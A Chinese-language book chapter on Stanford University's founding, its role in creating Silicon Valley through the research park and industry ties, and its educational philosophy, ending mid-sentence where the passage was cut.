充满传奇的大学\n关于斯坦福大学的各种传奇故事在互联网上广为流传，有些是真的，有些是杜撰出来的。其中最流毒深远的讹传是这样的：有两个乡巴佬夫妇，找到哈佛大学，提出为哈佛捐一栋大楼。哈佛大学的校长很傲慢地说，捐一栋楼要一百万，然后三句两句地便把这对老夫妇打发走了。这对老夫妇一边走一边唠叨，才一百万，才一百万。他们有一个亿要捐，于是便干脆自己捐了所大学，就是今天的斯坦福大学。\n这个讹传被翻译成各种文字，广为流传，以至于斯坦福大学不得不在自己的网站上辟谣。其实，这个故事里面的漏洞很多，首先，了解斯坦福历史的人都知道老斯坦福（Leland Stanford Sr.）是加州的铁路大王，曾经担任过加州州长、美国联邦参议员，属于精英阶层（Elite Class），绝不是什么乡巴佬；我们在后面还会介绍到他的夫人也是一位了不起的女性。第二，在十九世纪，一亿是一个天文数字，一百万美元也是一个非常大的财富。美国最大的银行花旗银行到一九三几年，存款才达到几千万美元。直到斯坦福大学创办的二十年前，美国有史以来最大的一笔捐赠不过七百万美元，它建立起了约翰霍普金斯大学和霍普金斯医学院。在老斯坦福的捐款中现金只有一千多万，这已经是当时美国最大的捐款了。老斯坦福的捐赠中最值钱的是八千多英亩的土地。当年加州属于“蛮夷之地”，土地值不了什么钱，但是现在斯坦福所处的帕洛阿图市是世界上土地最贵的地方，这些土地的地价涨了不止万倍。第三，哈佛大学和美国所有的大学对捐助者从来都是非常殷勤的。坦率地讲，比中国的大学要殷勤得多，不会怠慢任何慈善家。这是美国大学能得到巨额捐助的重要原因之一。\n关于斯坦福大学真实的故事是这样的。老里兰德·斯坦福夫妇把他们唯一的孩子小里兰德·斯坦福（Leland Stanford Jr.）送到欧洲旅行，孩子在欧洲不幸去世。斯坦福夫妇很伤心，后来决定用自己全部的财富（大约几千万美元，相当于今天的十亿美元。）为全加州的孩子（Children of California，而不是传说中的全美国的孩子或者全世界的孩子）建立一所大学，纪念他们自己的孩子。这所大学被命名为小里兰德.斯坦福大学（Leland Stanford Junior University），简称斯坦福大学。\n1885 年斯坦福大学注册成立，两年后举行了奠基仪式，1891 年正式招收学生。共有五百名左右的学生，只有十五名教授，其中一半来自康奈尔大学。在这首批学生中，产生了一位后来美国的总统胡佛。（就是那位被评为最差的、把美国带进 1929-1933 年大萧条的总统。但是斯坦福仍然很为他感到自豪，建立了著名的胡佛研究中心）虽然斯坦福是一所私立大学，但是它在早期的时候不收学费，直到二十世纪三十年代经济大萧条时期学校财政上难以维持为止。\n斯坦福大学的创办过程非常不顺利。斯坦福开课的两年后，老斯坦福与世长辞了，整个经营和管理大学的任务就落到了他的遗孀简·斯坦福的身上。当时整个美国经济情况不好，斯坦福夫妇的财产被冻结了。（我估计要么当时美国财产法关于信托财产方面不健全，要么斯坦福夫妇没有把他们的财产转到自己信托 Living Trust 下面。这种情况现在在美国不会发生）校长乔丹（Jordan）和学校其他顾问建议简·斯坦福关掉斯坦福大学，至少等危机过去再说。这时，简·斯坦福才想到她丈夫身前买了一笔人寿保险，她可以从中每年获得一万美元的年金。这一万美元大抵相当于她以前贵族式生活的开销。简·斯坦福立即开始省吃俭用，将她家里原来的十七个管家和仆人减少到三个，每年的开销减少到三百五十美元，相当于一个普通大学教授一家的生活费。她将剩余的近万元全部交给了校长乔丹用于维持学校的运转。从斯坦福夫人身上我们看到一位真正慈善家的美德。慈善不是在富有以后拿出自己的闲钱来沽名钓誉，更不是以此来为自己做软广告，慈善是在自己哪怕也很困难的时候都在帮助社会的一种善行。\n靠斯坦福夫人的年金补贴学校毕竟不能使学校长期维持下去。斯坦福夫人亲自动身去了首都华盛顿，向当时美国的总统克里夫兰寻求帮助。最终，美国最高法院解冻了斯坦福夫妇在他们铁路公司的资产。斯坦福妇人当即将这些资产卖掉，将全部的一千一百万美元交给了学校的董事会。斯坦福大学早期最艰难的六年终于熬过去了。乔丹校长赞扬道：“这时期，整个学校的命运完全靠一个善良妇女的爱心来维系。”今天，不仅是几十万斯坦福校友，我们所有的人都应该感谢斯坦福夫人。她用她的爱心，靠她坚韧不拔的毅力开创出一所改变世界的大学。\n关于斯坦福大学的第二个讹传就是说斯坦福原来被称作西部的哈佛，后来办的超过了哈佛，结果现在哈佛被称为东部的斯坦福。且不说斯坦福有没有全面超过哈佛，作为全球第一知名大学的哈佛再不济也不会称自己为东部的斯坦福。同样，心比天高的斯坦福根本不以成为什么西部的哈佛而自豪。事实上，斯坦福公共关系的负责人在接待清华大学代表团时自豪地讲，斯坦福等于哈佛加麻省理工学院（MIT）。虽然斯坦福的这种说法让人觉得有些狂傲，但是确实有它的道理。\n首先，斯坦福大学在专业设置上覆盖了哈佛大学和麻省理工学院的合集。在美国大学里有个普遍的看法（也许是偏见），“哈佛的人能写不能算，麻省的人能算不能写”，反映出哈佛侧重文科而麻省侧重理工科。（实际上哈佛有世界上最好的数学和物理学专业。）而斯坦福的人文理兼修。在美国一个大学的综合排名其实没有什么意义，关键看专业的好坏。美国最热门的专业首推医学，然后是法律、工程和商业。一个学校的历史专业或者政治学专业再好，在社会上也没有什么影响。斯坦福大学是美国唯一一个在这四大热门领域都名列前茅的学校。它的商学院和哈佛商学院长期以来并列美国第一，它的法学院仅次于耶鲁大学排在第二，它的工学院仅次于麻省理工也是第二名，斯坦福医学院也在美国前十名。和斯坦福相比，美国其它大学都显得有些缺胳膊少腿：哈佛和耶鲁的工科很弱，普林斯顿和麻省理工没有医学院和法学院。\n第二在办学理念上，斯坦福集哈佛大学和麻省理工学院之长于一身。斯坦福既强调素质教育，又强调专业教育。事实证明，全面发展有助于斯坦福大学培养出全才，而全才是作为业界领袖的必要条件。我们在后面的章节中还要详述这一点。\n斯坦福的校园被认为是美国三个最美的校园之一，另外两个是康奈尔和普林斯顿。斯坦福人从不掩饰对自己学校的自豪感，甚至从教授到学生经常拿其它名校开玩笑。下面是斯坦福电机工程系教授出的真实的考试题。某个公司希望设计一种符合 A、B、C 和 D 等条件的数字滤波器，他们找到了麻省理工学院，麻省理工学院的教师不会，你能帮助他们设计这样的滤波器吗？我想麻省理工学院的人看了这个考题一定不会舒服。斯坦福人骄傲自有他们骄傲的本钱，除了出了这么多的实业家，孵化了很多跨国公司，斯坦福大学的学术水平更是闻名于世。它有十六位在职的诺贝尔奖获得者（其中一半是经济学奖）和几十位获得诺贝尔奖的毕业生。除此之外，它还有七位数学领域最高的终身成就奖沃尔夫奖得主（注：数学领域的最高奖当属菲尔兹奖，但是它只授予三十五岁以下的学者，而沃尔夫奖一般授予成就卓著的数学家泰斗们。），四位新闻最高奖普利策奖得主，有一百三十多名美国科学院院士，八十多名美国工程院院士。它的毕业生在全世界各行各业中执牛耳。\n在美国众多大学中，有一百年历史的斯坦福大学历史谈不上悠久。且不说和有将近四百年历史的哈佛大学比，就是和它的邻居加州大学伯克利分校比，斯坦福大学起步也算很晚的。在斯坦福大学诞生后的头五十年里，它根本排不进美国一流大学的行列，更不要说和哈佛大学竞争了。到二战后，斯坦福大学已经入不敷出，出现严重的财政危机了。美国的私立大学完全靠自己筹款，政府并不提供一分钱，再好的私立大学如果经营不善，都可能面临办不下去的危险。著名的麻省理工学院在历史上就出现过非常严重的财政危机，最后是靠它无数事业有成而又关心母校的校友捐助度过了难关。斯坦福大学当时还没有这么多富有的校友可以依靠，它最大的一笔财富就是斯坦福夫妇留下的八千英亩（三十二平方公里）相当于两个澳门大小的土地，而大学的中心校园占地不到其十分之一。（斯坦福大学至今荒地多于使用的土地）第二次世界大战后，美国的电子工业发展很快，由于和亚洲的联系比二战前紧密了很多，加州新兴的电子工业和航空工业成为了加州的经济支柱。很多公司有意从斯坦福大学购买土地，但是斯坦福夫妇的遗嘱规定学校永远不许出售土地。这样，斯坦福大学眼睁睁地看着自己的地荒着而无法发挥作用帮助学校渡过难关。\n帮助斯坦福大学解决这个问题的是它的一位教授弗里德里克·特尔曼，他后来被称为硅谷之父。他仔细研究了斯坦福夫妇的遗嘱，发现里面没有限制大学出租土地，于是他兴奋地声称找到了解决问题的秘密武器——建立斯坦福科技园，科技园向外面的公司出租土地 99 年。在这 99 年里租用土地的公司有彻底的使用权，按自己的意愿建筑自己的公司。消息一传出，马上有很多公司表示了兴趣，并很快和学校签属了租约。1953 年，第一批公司，包括大名鼎鼎的柯达公司、通用电气、夏克利晶体管公司（后来诞生出集成电路的先驱仙童公司）、洛克希德公司（美国最大的军火商）和惠普公司进驻了斯坦福科技园。对斯坦福而言，这件事的影响非常深远，它不仅解决了斯坦福的财政问题，并且成为斯坦福跨入世界一流大学的契机。对外界而言，它促成了硅谷的形成。\n图15-1 1953年硅谷第一栋房子\n15.2 硅谷的支柱\n美国和世界先后出现过很多的技术公司聚集地。但是一旦某个或者某一批大的公司开始走下坡路，这里的科技发展就开始渐渐落伍。早期的科技公司，比如 ATT 和 IBM 集中在纽约附近，但是在这两个公司之后，不再有这个量级的公司出现。波士顿附近，尤其是 128 号公路两旁曾经有过一些向 DEC 那样的大公司和不少颇具发展潜力的公司，但是随着老的公司衰退，新的公司始终不能形成规模。这个地区很难对世界信息产业产生大的影响。硅谷能够半个世纪长盛不衰，一个原因是得益于亚太经济的发展，另一个重要原因是靠斯坦福大学不断向硅谷注入新的技术。\n很多人奇怪拥有哈佛大学和麻省理工学院的波士顿为什么只能诞生一些小公司而出不来大的跨国公司。一个重要原因是斯坦福大学的办学方法和美国东部的名校有很大的不同。斯坦福不是简单地把哈佛大学和麻省理工学院的专业叠加，从波士顿搬到了加州，而是根据加州的情况办了一所全新的学校。只要同时在斯坦福大学和美国东部哈佛、普林斯顿等名校呆过一段时间就能强烈地体会它们之间的巨大差异。\n在众多差异中，最重要的是开放性。我这里讲的开放性不是指校门二十四小时打开任人进出，这个要求太低了。所有美国的大学，包括西点陆军学院和安纳波利斯（Annapolis）海军学院都是没有围墙任所有的参观者开车自由进出。我这里讲的开放性是指一个大学在各方面，从教学到科研到生活融入了当地的社区。不论是生活在田园般的普林斯顿和康奈尔，还是大都市里的哈佛和哥伦比亚，你能明显感觉你置身于象牙塔中。一个学生不需要任何交通工具，因为他们大部分时间和中国大学围墙里的学生一样，过着三点一线的生活。而教授，则是传道、授业、解惑加上做自己的研究。而生活在斯坦福，从教授到学生都很难有置身于象牙塔的感觉。\n斯坦福大学的这种开放性首先是生存的需要。斯坦福大学在地域上远离美国的政治中心，导致了它从政府获得的研究经费占整个学校经费的比例远远落后于东部的著名大学。以工学院为例，斯坦福大学和它的老对头麻省理工学院规模相当，但是前者从政府获得的经费只有后者的一半左右。如果读者仔细研究一下美国顶尖大学的地理位置和政府经费的关系就会发现，大学来自联邦政府的研究经费与它到华盛顿特区的距离成反比。政府资助的研究经费对很多教授来讲并不是很容易申请。首先要写很长的申请报告，然后一轮一轮地通过评审。在评审过程中，要花很多精力去和经费的主管人员以及同行评审人做公关。在美国申请经费和在中国拿钱一样，人际关系很重要。一些教授经常请主管经费的自然科学基金会 NSF、DARPA 和国防部（DOD）的主管们参观实验室和参加自己的学术报告。而这些政府官员们要到斯坦福听一次报告可不是一件容易的事。这样，这些离政府部门近的大学自然就近水楼台先得月。斯坦福远在加州，当然就很吃亏。因此，斯坦福一些已经提上终身教职并且不缺经费的教授到后来甚至懒得写申请了。\n作为一个大学教授，能从政府拿到大笔研究经费当然是可喜可贺的事。和从工业界拿经费相比，拿政府的经费有很多好处。首先，美国政府的资助一般来讲强度较高，在这一点上各国政府都一样，无需格外说明。从美国政府拿科研经费，除非像研制哈伯天文望远镜这类特殊的项目，很少需要做具体的系统，只需要进行方法研究，最后交一份研究报告就可以了。在这一点上美国政府和中国政府有很大的不同，拿美国政府的研究经费容易交帐得多。比如搞语音识别研究，在中国拿了八六三的大额经费要做识别系统，而在美国只需要用计算机实现自己的算法，证明其有效即可。很少有教授会像李开复博士那样真正开发一个语音识别系统。（美国从来没有中国的科研鉴定会。）NSF 和 DARPA 等政府的科研主管机构这样做是很有道理的，它为教授们省去了很多做演示系统的时间和精力，让科学家们能够把精力完全集中于研究本身。这是美国能够在科技上长期领先于世界，并且几乎每年都有人获得诺贝尔奖的原因。毫无疑问，很多大学教授，乐于接受这样的项目，他们既可以专注于做学问、多发表论文，又可以有稳定的经济来源。（美国大学教授的暑假三个月的工资要从自己的科研经费中出。）一些成名已久影响力很大的教授，更是可以轻而易举地拿到长期大额的政府合同，比如我已经多次提到的著名语音识别和自然语言处理专家贾里尼克教授便是如此，他的经费常常是系里其它教授经费的总和。久而久之，他们和政府互相产生了极大的依赖，自己把自己关在象牙塔里。\n但是，凡事有一利就可能有一弊。美国政府的 NSF 和 DARPA 等科研经费一般资助的都是工业界不愿意支持的基础研究项目，比如基础科学、生命科学和材料科学的许多项目。这些研究课题在短期内不可能产生任何商业价值，有些可能永远没有商业价值，由政府出钱来资助这些项目对于一个国家的长远发展是非常必要的。一旦某个项目有了商业价值，并且可以由公司资助时，政府会渐渐减少并且最终停止对这些课题的资助，因为政府（纳税人的代表）认为没有必要和工业界做重复的事，更没有必要和工业界竞争。在这一点上，美国政府和中国政府与日本政府有很大的不同。比如说美国政府几乎没有对搜索技术研究的资助，因为它是一个已经开始盈利的技术。几周前我接待了一个中国政府代表团参观 Google，在最后的提问时间，一位官员问美国是否对 Google 这样的高科技公司在政策上和资金上给予扶植和照顾，在场的 Google 副总裁回答，她觉得 Google 作为一个非常盈利的公司，既不应该也没有必要从政府得到特殊的关照。需要政府帮助的是那些小而且不容易盈利的公司，比如太阳能公司。\n即使是在工程领域，政府资助的研究项目常常是非常尖端而且可能的应用面非常窄，有时发表的论文都没有几个人真正愿意读，更不用说有商业意义了。贾里尼克教授讽刺这种现象是“除了论文的评审者，没有人会去读这些论文”。美国对政府研究经费管理很严，严格禁止拿一个项目的经费去资助自己其它研究项目，即使经费有结余，教授们也不可能用它来研究有实际应用意义的课题。于是，拿了足够多政府经费的教授通常也就不去研究应用课题了，更不要说自己去开办公司了。久而久之，在美国东部的著名大学里就营造了一种清高的风气，大家比谁获得的政府经费多，谁的研究论文出的多，谁的研究成果理论水平高。教授们的做事方式又直接影响了他们的学生。这些学校的博士生们在学校时做实验、写论文，毕业以后接着当教授或者去大公司的实验室做研究员。麻省理工学院和斯坦福大学有美国最好的电机工程系和计算机系，但是麻省当教授的博士毕业生比例比斯坦福高得多。从做学问的角度讲这完全是对的，但是这种研究对创业帮助不大。\n斯坦福大学远离联邦政府，从政府得到的经费相对比东部的名校少，这也不足为奇。但是，斯坦福大学守着硅谷，从工业界拿的钱比任何一个同样规模的东部大学不知多多少倍。从公司拿钱一般来讲强度不会有政府那么大，而且还要做很多具体的事。有些公司支持的研究项目甚至无法发表高质量的论文。所以美国东部名校的很多资金充足的教授不屑于和工业界打交道。\n但是，从工业界拿钱的好处也是很多的。最显而易见的好处在于无论是教授还是他们的学生都可以通过接工业界的项目锻炼解决实际问题的本领。凡是和导师接过公司项目的读者对这点都会有所体会。这样用工业界的钱，斯坦福就培养和锻炼了很多技术上的全才，他们从设计并实现一种产品到项目管理都得到了锻炼。但是如果仅仅是这一点好处，不过是把原来可能当教授的年轻人培养成了高级工程师和技术主管，而不是工业界领袖和创业者。其实和工业界保持联系并且为工业界做研究对于创业来讲，最大的好处在于能够看清产业发展的方向并且找到新的机会。这个潜在的好处对于年轻的学生甚至比资深的教授们更明显，因为年轻人更愿意尝试。美国虽然在从科学技术向产品转化方面做得比其它国家好一点，但是仍然明显存在着工业界和学术界相脱节的现象，这不仅表现在大学研究的课题脱离实际，也表现在工业界在遇到问题时找不到答案，而能够紧密联系这两头的斯坦福大学的师生常常就起到了重要的桥梁作用。在斯坦福这种例子很多，比如像思科早期路由器的开发，它本身是一个工程性强但学术性弱的题目，MIT 一般是不会碰这个题目的。但是，一般的网络设备制造公司因为局限于现有产品也不会动脑筋去发明一个通用的路由器，这样波萨克和勒纳的机会就来了，他们发明了一种通用的路由器，并且因此而创办了思科公司。再比如 DSL 的发明和应用也是一个很好的例子。虽然用于 DSL 的编码方法早被贝尔实验室发明了，大家不过是发表几篇论文制定一些标准而已。而同时工业界生产调制解调器的厂家还在为将传输率从 14.4K 提高到 28.8K 费脑筋，它们本身没有可能做到质的提高。在贝尔实验室工作过的约翰.查菲，当时还是斯坦福年轻的助理教授，他看到并抓住了这个机会。后来成为美国最年轻的工程院院士的查菲，当时已经是信道编码的世界级专家，他比工业界的任何研究员都有更高的理论水平，同时他一直接受工业界研究经费，比绝大多数教授更会做实际的东西。在理论上查菲完善了 DSL 的编码方法并且把它变成了一种国际标准，同时，查菲教授带着他的学生办起了 Avanta 公司，真正实现了 DSL 取代拨号上网这一跨时代的变革。\n在斯坦福大学这类的例子非常多。大学对教授办公司非常理解和支持。只要一个教授能完成教学任务，并且发表足够多像样的论文，斯坦福并不限制它的教授到外面的公司兼职，甚至在一段时间里全时离开学校创办公司或者在公司里担任要职。斯坦福大学校长约翰·轩尼诗本人就是最好的例子。八十年代他在发明了精简指令集（RISC）的处理器 MIPS 后，便合伙创办了 MIPS 公司。在以后的多年里，他将主要精力集中在办公司上，而不是在斯坦福的教课和搞研究。几年后，MIPS 公司在纳斯达克上市，后来又卖给了它最大的客户 SGI 公司。轩尼诗本人才从工业界抽身出来，回到斯坦福担任了工学院院长。经过在工业界的一番闯荡，轩尼诗成为了难得的管理人才。几年后，他开始担任斯坦福的校长直到今天。现在，轩尼诗仍然是 Google、思科和另一家上市公司 Atheros 的董事。\n开放校园的真正含义在于像斯坦福那样，让大学融入社会。开放是斯坦福的“本”，而厂校结合是它的“用”。后者保证了大学开放校园的具体实施。\n北美的很多工科好的大学，比如美国麻省理工学院、加州大学伯克利分校和加拿大的滑铁卢大学都强调厂校结合。麻省理工学院为了让学生获得工业界的知识，和 ATT 等大公司建立了共同培养学生的计划（program），进入该计划的学生要在 ATT 工作一年（四个暑假），作为回报 ATT 公司支付该学生的学费，美国不少大学有这种类似于奖学金的计划。这对于进入这些培养计划的学生来讲当然是两全其美的好事，既解决了昂贵的学费问题（注释：美国私立大学学费是中等收入家庭无法承受的），又得到了很好的工业界工作经验，将来无论是去工业界还是继续读研究生都大有好处。但是，这种松耦合的结合对大学和公司的直接帮助都不是很大。对于学校来讲主要的好处不过是大公司替它资助了一些学生，同时替它承担了一部分职业教育的义务，但是学生们在公司做的题目和学校通常毫无关系，这种合作对于学校的科研帮助非常有限。对于公司来讲，虽然有了从名牌学校优先选择优秀学生的有利条件，并且这些学生工作后进入角色会比同龄人快一点。但是，这些学生，大部分是本科生，毕业以后并不一定要去赞助他们的公司工作。在实习期间，他们也根本不可能为公司带来什么新的思想和技术。\n斯坦福和硅谷的厂校结合要超出麻省理工学院的大学许多。斯坦福不仅在技术上、而且在人才的培养上给予了硅谷公司直接的帮助。在技术上的帮助反映在大量优秀的教授直接到硅谷的公司任职和研究这些公司的科研项目，我们在前面已经介绍过了。在人才上的帮助首先反映在大学一直在为硅谷各个公司的技术和管理人才进行继续教育。硅谷公司多数的工程师并没有硕士学位，不少人在工作中发现自己的专业水平需要提升，斯坦福大学为这些人提供了非常方便的进修计划，他们可以每学期在大学修一两门研究生的课程，这样三到五年就能拿到一个硕士学位，有的人甚至一边在公司全职上班，一边利用业余时间在斯坦福读博士。虽然有时候一个博士学位要读十年八年，但毕竟是能在全职工作条件下获得博士学位的好办法。当然，如果有人不想拿学位只想听一两门课也是可以的。硅谷的公司深知职业培训的重要，一般都会在时间上和经济上鼓励员工追求更高的学位。为了方便硅谷员工修课，斯坦福大学有很好的远程教育网络。学生不必到课堂上听课，可以在家里电视机前上课。斯坦福几乎所有的课程都通过有线电视向校园和硅谷实时转播，它自己的学生也没有必要到教室去。很多人一学期没有踏进教室照样学得很好。万一上课的时间和上班的事情有冲突，在职的学生可以在课后到图书馆借出课程的录像补习。我不知道世界上是否有其它大学为周围的公司的员工提供了如此方便的职业教育机会。\n在斯坦福读在职博士的硅谷员工通常比刚刚本科毕业的学生更容易找到有意义的研究课题，因为一方面他们有工业界的经历，知道哪些课题今后对自己帮助大，另一方面，他们有一定的经济基础不需要靠教授的助学金生活，他们更看重教授的研究方向和水平而不是他们手上的钱。（对于没钱的刚毕业的学生，常常要为了争取奖学金而牺牲自己的兴趣。）世界各国的博士生都面临同样一个问题，花了四五年甚至更长时间研究的课题毕业以后可能没有用途，因为博士生不完全有选择课题的自由，有时也太不了解学校以外的社会。这个问题对于那些在硅谷工作过的博士学生一般不存在。这使得斯坦福高级人才培养的效果非常好。\n斯坦福大学也为硅谷和工业界培养了很多管理人才。有八名诺贝尔奖获得者的斯坦福商学院在美国和哈佛商学院齐名。硅谷很多优秀的年轻人在公司工作一段时间后到那里去充电。为了方便日理万机的公司负责人也能到商学院进修 MBA 的学位，斯坦福除了有一般的 MBA 课程外还提供了专门给公司执行官们开设的 EMBA 课程。\n当然，从斯坦福拿任何一个学位都不是一件容易的事。美国有句话，“哈佛难进，麻省难出”。而斯坦福大学实际上是既难进又难出，它对学生一贯采用严进严出的做法。有人认为只要给斯坦福捐一大笔钱就能“混”进学校，这个想法完全错误。因为斯坦福并不缺钱，而且不会为了钱去砸自己的牌子。（哈佛等大学同样杜绝这种达不到要求的学生入学）根据斯坦福大学官方网站公布的数据，它本科生的四年毕业率只有 75% 左右，即使到第六年，毕业率也只有 95%。也就是说有四分之一的学生四年内完成不了本科学位，有百分之五的斯坦福本科生最后拿不到学位。这个淘汰率比中国最好的大学不知道要高多少。斯坦福的博士生淘汰率就更高了，很多人读了几年因为无法通过博士资格考试（Qualification Exam）不得不拿个硕士学位走人。以它的电机工程系为例，每年大约有一半的学生要被资格考试刷掉，当然每个人有两次机会。\n除了为硅谷提供技术支持和培养人才外，斯坦福在帮助硅谷转型方面贡献很大。八十年代以前，硅谷的支柱产业是半导体。八十年代以来，从斯坦福孕育出的思科公司、太阳公司和 SGI 公司（太阳公司在九十年代的主要竞争者），推动了整个硅谷从半导体到硬件系统的转型。九十年代末，诞生于斯坦福的雅虎和 Google 以及无数小的互联网公司掀起了互联网的热潮，实现了硅谷的又一次转型。今天，斯坦福在能源、材料等方面的一些新技术正在帮助建立太阳能等新型可再生能源的产业，这个产业可能比互联网更大。\n一方面斯坦福大学带动了地区性经济，另一方面它又是硅谷崛起最大的受益者。硅谷的公司为斯坦福提供了巨额的研究经费和捐赠。在历史上，惠普公司、思科公司、太阳公司和 Google 公司都是斯坦福的赞助者。仅惠普的创始人休伊特 2001 年就向斯坦福捐赠了四亿美元的巨资，这是世界上迄今为止给予教育机构最大的一笔捐赠。2005 年，斯坦福收到的捐赠首次超过了它的老对头哈佛大学，完全是托 Google 创始人和员工的福。斯坦福收益于硅谷的地方远不止在财政方面。由于硅谷的发展，斯坦福大学学生的就业率成为美国最高的，很多优秀学生正是冲着找工作方便这一条原因才选择斯坦福大学的。守着硅谷自然有得天独厚的创业和与工业界合作的机会，这又成为一些优秀教授选择斯坦福的原因。正是靠着硅谷的兴起，斯坦福大学才从二战后一个地区性大学一跃成为美国一流大学，继而又成为世界上最好的大学之一。\n政府资助的研究课题不仅偏向于理论研究，而且研究方向也未必有很大的前景。大学教授看上去自由自在，可以研究自己有兴趣的课题，不像公司里的人被绑在上司交给的任务上。但是因为没有经费是万万不能的，因此大学教授天天围着经费转，政府有什么经费他们不得不申请什么课题。几年前在欧洲举行的一次学术研讨会上，各国专家就这个领域今后的研究方向畅所欲言，贾里尼克教授听得不耐烦了，讲道“你们在这里吵来吵去白浪费时间，还不是各国政府给你什么钱你就干什么课题。”这是一个大家不愿意承认的事实，但它确实是实际情况。在 2000 年后的一段时间里这个计算机科学在美国进入低潮，很多计算机科学家都转行去搞生物统计和生物信息处理了。而现在，大量学习生物统计的博士生毕业了，而学术和工业界对生物统计根本没有增加多少需求，很多博士生将很长时间找不到工作。这是政府计划性很难避免的问题。\n15.3 纽曼+洪堡的教育模式\n伯克利加州大学的校长曾经在毕业典礼上开过这么一个玩笑：“诸位，你们知道以前我们伯克利的毕业生是如何称呼斯坦福的毕业生么？我的上司（My Boss）！”他的意思是在公司里当老板的常常是斯坦福的人，干活的是伯克利的人。接着他又说：“这种现象直到出了埃里克施密特（Google 的 CEO）才终止。”当然，大家都知道施密特是个特例，而他前半句话讲的现象却是普遍的。为什么斯坦福大学能培养出这么多优秀毕业生，尤其是工业界的领袖呢？这一方面是因为斯坦福守着硅谷有得天独厚的优越条件，另一方面和它的教育方式有关。\n斯坦福和美国东部的著名大学有很大的不同，这不仅仅体现在研究上，也体现在本科和研究生教育上。美国东部的名校比较传统，用中国唐代韩愈的话讲，就是传道、授业和解惑。它们对教授和学生要求都比较严，加上教授们专注于教学，因此教学水平非常高。比如在麻省理工学院，它本科生的基础课微积分从来是由最好的数学教授讲授，这一点在斯坦福做不到。因此很多学生和家长都知道在东部名校更能“学”到知识。而斯坦福更倾向于让教授和学生自由发展。它对教授和学生都是外松内紧，自由度大得多，对于有的学生来讲可能是如鱼得水，对于没有动力的学生可能就荒废了时日。如果单从知识的传播来看，斯坦福还是赶不上东部名校。很多斯坦福的教授自己都承认这一点，甚至认为和它的邻居伯克利相比也有一定差距。\n这种差异的形成有有传统上的和地域上诸多原因。美国东部的著名大学，以常青藤的哈佛、耶鲁和普林斯顿等大学为代表，沿袭并且长期以来执行欧洲尤其是英国早期（不是现代）传统的“高等、教育”的原则。所谓高等是指大学为社会培养高素质、有文化和有教养的（本科）人才，实际上是私人贵族教育的社会化。这些大学在本质上讲不是职业教育的机构，而是培养绅士的地方。这与中国孔子时期的教育理念有不谋而合之处——教育的目的不是传授实用技能和进行职业训练，而是教授礼仪、修养和德行。直到十九世纪末，哈佛等大学的教育仍然以拉丁文为主，有一点像中国古代强调“六艺”。到了十九世纪，由于英国牛津运动的出现和德国洪堡体系的诞生，欧洲的大学水平有了质的飞跃。而在美国的大学里学不到什么有用的东西，很多青年人不得不到欧洲求学。所幸的是，就在斯坦福大学诞生的时候，欧洲这两项变革已经完成，大学教育的观念在美国开始改变。\n说起现代高等教育，一定要提到两个人，普鲁士德国的外交家和教育家洪堡以及英国的牧师和教育家约翰·纽曼。\n洪堡是普鲁士德国的外交家，却建立了完善的、服务于工业社会的普鲁士教育体系。德国有一所以他名字命名的大学。在这个体系中，职业教育、技能的教育成为大学的中心任务，这样大学生在学校学到的就是真正有用的知识，一走出校园就马上为社会服务。洪堡体系的另一个特点就是强调研究对于大学的重要性，它将大学从一个教育机构变成了一个教育和研究的综合机构。在强权的普鲁士，一种体制很容易被自上而下地推广。普鲁士得益于洪堡的高等教育体系，很快从欧洲一个小的农业国实现了工业化，并且一跃成为十九世纪欧洲最强国。德国的高等教育至今基本沿用洪堡一百五十年前制定的体制，保证了它在全世界工业界和商业界的领先地位。洪堡体系后来对美国、俄国（前苏联）和中国等许多国家的高等教育产生了深远的影响。（新中国成立后马上搞了将理工专业分离的院校调整，将清华大学、北京大学等原来的综合性大学拆成文理型大学、工科大学，政法学院和医学院等等，完全是按照洪堡的体制来的。遗憾的是又没有学到家，“忘了”在大学里建立研究生院，以至于研究生教育至今落后。）美国著名教育家丹尼尔·吉尔曼（Daniel Gilman）等人借鉴了洪堡体系的长处，将美国的很多大学从近代的私塾转变成高等职业教育和研究的机构。吉尔曼生长在美国东部，却在美国西海岸担任了伯克利加州大学短暂的校长。在加州的短暂时光让吉尔曼看到了大学开展职业教育的重要性。由于加州政府试图把伯克利办成一所农业大学，使得吉尔曼的理想难以实现。这时正好约翰霍普金斯大学刚成立，并聘请了他来担任第一任校长，吉尔曼实现自己理想的舞台便顺顺当当地出现了。吉尔曼不负众望，按照德国职业教育的模式，在约翰霍普金斯大学建立起美国第一个研究生院并把该校办成了美国第一所研究型大学。在长达二十五年的约翰霍普金斯大学校长生涯中，吉尔曼不仅把该校办成了一流的大学，而且把研究型大学的概念在美国普及。几年后，它的学生安德鲁·怀特（Andrew White）也把康奈尔从一个小的乡村学院办成了一所世界一流的研究型大学。（吉尔曼后来又担任了卡耐基学院的校长，奠定了今天卡耐基梅隆大学在工科世界一流的地位。） 图15-2教育家吉尔曼\n斯坦福大学诞生的契机很好，当时正是美国大学向研究型大学转型的时期。里兰德.斯坦福为了给斯坦福大学找一位好的校长，遍访美国东部名校。他在康奈尔大学见到校长安德鲁.怀特（Andrew White）。怀特深得老师的真传，他和斯坦福谈得非常投机，于是斯坦福希望怀特能接受斯坦福大学校长一职。怀特因故不能接受邀请，而向斯坦福推荐了自己年轻的学生、印第安纳大学的校长大卫·乔丹（David Jordan），即后来斯坦福大学的第一任校长。在乔丹领导下的斯坦福，从一开始就避免了哈佛大学和耶鲁大学二百年来走过的弯路，直接成为了研究型大学。\n斯坦福一直有重视研究、重视博士生教育的传统。这不仅仅表现在科学和工程学上，而且在经济学和社会科学学科也是如此。斯坦福的胡佛研究所是美国著名的国际关系和政策研究中心，现任国务卿赖斯原来就是那里的学者。斯坦福大学在上个世纪初成立了斯坦福研究所（Stanford Research Institute），后来从斯坦福大学分离出去，即现在的 SRI International，是美国著名的信息科技和国防科技研究中心。\n凡事有利必有弊，一个教授的时间是有限，搞研究的时间多了，办公司的时间多了，在本科生教学上投入的时间就少。这就是斯坦福大学本科教学水平赶不上普林斯顿，也比不上它的邻居伯克利的原因。但是即便如此，我个人仍然认为一个本科生在斯坦福比他在普林斯顿或伯克利能学到更多的东西。这里面就涉及到对大学理念的理解了。\n我不是大学教育研究的专家，我的看法可能有些片面之处。对于大学的理念，我个人非常赞同英国牛津的主教、牛津运动（Oxford Movement）的发起人约翰·纽曼的观点。纽曼有点像围棋里的求道派，在他看来，大学是传播大行之道（Universal Knowledge）而不是雕虫小技的地方。纽曼在他的著名演讲“大学的理念”（Ideas of 